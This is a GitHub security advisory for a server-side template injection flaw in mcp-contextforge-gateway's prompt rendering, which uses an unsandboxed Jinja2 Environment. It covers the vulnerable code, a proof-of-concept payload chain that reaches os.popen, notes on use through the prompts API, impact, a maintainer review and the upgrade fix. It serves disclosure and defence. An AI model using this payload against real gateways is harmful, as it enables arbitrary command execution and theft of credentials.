---
id: GHSA-vwf3-4xxj-qg6h
title: >-
  mcp-contextforge-gateway has Server-Side Template Injection (SSTI) leading to
  Remote Code Execution in `PromptService._render_template` via unsandboxed
  Jinja2 Environment
summary: >-
  mcp-contextforge-gateway has Server-Side Template Injection (SSTI) leading to
  Remote Code Execution in `PromptService._render_template` via unsandboxed
  Jinja2 Environment
severity: high
cwe:
  - CWE-94
  - CWE-1336
vendor: mcp-contextforge-gateway
product: mcp-contextforge-gateway
ecosystem: pip
affected:
  - mcp-contextforge-gateway < 1.0.0
patched:
  - mcp-contextforge-gateway 1.0.0
published: '2026-08-25'
updated: '2026-08-25'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-vwf3-4xxj-qg6h'
references:
  - url: >-
      https://github.com/IBM/mcp-context-forge/security/advisories/GHSA-vwf3-4xxj-qg6h
  - url: 'https://github.com/IBM/mcp-context-forge/issues/538'
  - url: 'https://github.com/IBM/mcp-context-forge/pull/4072'
  - url: >-
      https://github.com/IBM/mcp-context-forge/commit/4d31004661858a2e99055b3c0c9f14218b8f7120
  - url: 'https://github.com/IBM/mcp-context-forge/releases/tag/v1.0.0'
  - url: 'https://github.com/advisories/GHSA-vwf3-4xxj-qg6h'
tags:
  - ghsa
  - pip
ingestedAt: '2026-08-25T18:30:21.389Z'
---

## Overview

### Summary

`mcpgateway.services.prompt_service.PromptService` renders user-supplied prompt templates using Jinja2's plain `Environment()` rather than `SandboxedEnvironment`. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

### Details

**Affected component:** `mcpgateway/services/prompt_service.py`
**Affected version:** `0.9.0` (verified). The fix in the unreleased `main` branch indicates all earlier published versions are likewise affected.

**Vulnerable code**

`mcpgateway/services/prompt_service.py`, line 26:

```python
from jinja2 import Environment, meta, select_autoescape
```

`mcpgateway/services/prompt_service.py`, line 135 (inside `PromptService.__init__`):

```python
self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)
```

`mcpgateway/services/prompt_service.py`, lines 1592–1616 (`_render_template`):

```python
def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")
```

`_render_template` is invoked from `PromptService.get_prompt` (line 892):

```python
rendered = self._render_template(prompt.template, arguments)
```

Where `prompt.template` is loaded from the database. The `template` field of the database row is populated via the `register_prompt`, `update_prompt`, and `register_prompts_bulk` API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because `self._jinja_env` is a plain `jinja2.Environment` rather than `jinja2.sandbox.SandboxedEnvironment`, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to `__builtins__.__import__` and calls `os.popen` (or any equivalent chain) executes arbitrary code at render time.

### PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

**Setup**

```bash
pip install mcp-contextforge-gateway==0.9.0
```

**Reproducer (`poc.py`)**

```python
import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")
```

**Verified output**

```
[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'
```

The file `MCPGATEWAY_RCE_PROOF.txt` is written to disk by the embedded `os.popen` call, demonstrating arbitrary command execution in the gateway process. Replacing `echo MCPGATEWAY_RCE > ...` with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

**End-to-end via the API**

A full attack against a deployed gateway uses the same payload supplied as the `template` field to `POST /prompts` (or `PUT /prompts/{id}`). Once stored, the template fires every time the prompt is rendered via the gateway's MCP `prompts/get` flow.

### Impact

This is a Server-Side Template Injection vulnerability in a component (`PromptService`) that is exposed via the gateway's REST API. The attacker requirement is **authenticated API access with permission to register or update prompts** — a normal capability for users in the gateway's intended deployment model.

**Successful exploitation yields:**

- Arbitrary command execution on the gateway host with the gateway process's privileges
- Read/write access to the gateway's filesystem
- Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
- Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
- Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

**Affected user populations:**

- Any deployment running a published version of `mcp-contextforge-gateway` from PyPI
- Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
- CI/CD pipelines that programmatically register prompt templates from untrusted sources
- Deployments that import or sync prompt definitions from external registries

**Suggested remediation requests:**

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so `pip install --upgrade` returns a fixed version
3. Mark the relevant `CHANGELOG.md` entry as a security fix and add an upgrade-urgency note in `SECURITY.md` for users still on affected versions

---

## Maintainer review (accepted)

Reproduced and **accepted**. Findings from the maintainer's review:

**Confirmed valid (SSTI → RCE).** In `mcpgateway/services/prompt_service.py` as published in v0.9.0 (and all earlier releases), `_render_template()` runs `Environment().from_string(template).render(**args)` on a plain, unsandboxed `jinja2.Environment` (v0.9.0 line 27: `from jinja2 import Environment`). With no render-time sandbox, the `__builtins__.__import__('os').popen(...)` chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

**Reachable with attacker-controlled input.** The `template` field is persisted by the authenticated write paths — `POST /prompts` (`prompts.create`), prompt update (`prompts.update`), and bulk register — then rendered in `get_prompt()` → `_render_template()`. Any authenticated principal holding `prompts.create`/`prompts.update` reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

**Scope (set on this advisory):** affected `< 1.0.0` (0.1.0–0.9.0); patched `1.0.0`.

**Already fixed.** Migrated to `SandboxedEnvironment` in #4072 (commit `4d3100466`, 2026-04-24), shipped in v1.0.0. Current `main` (1.0.3) additionally prevents the `str.format()` fallback from re-opening the attribute path when the sandbox rejects an expression (a `jinja2.exceptions.SecurityError` no longer falls through to `.format()`).

**Correction to the report.** "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to `>= 1.0.0`.

**Audit.** Other `jinja2.Environment` usages in the codebase (`main.py`, `version.py`, `tools/builder`, email templates, `content_security.py`) render trusted on-disk templates via `FileSystemLoader` or are parse-only — none render user-supplied template strings. No second instance of this pattern.

## Affected packages

- `mcp-contextforge-gateway < 1.0.0`

## Remediation

Upgrade to a patched release:

- `mcp-contextforge-gateway 1.0.0`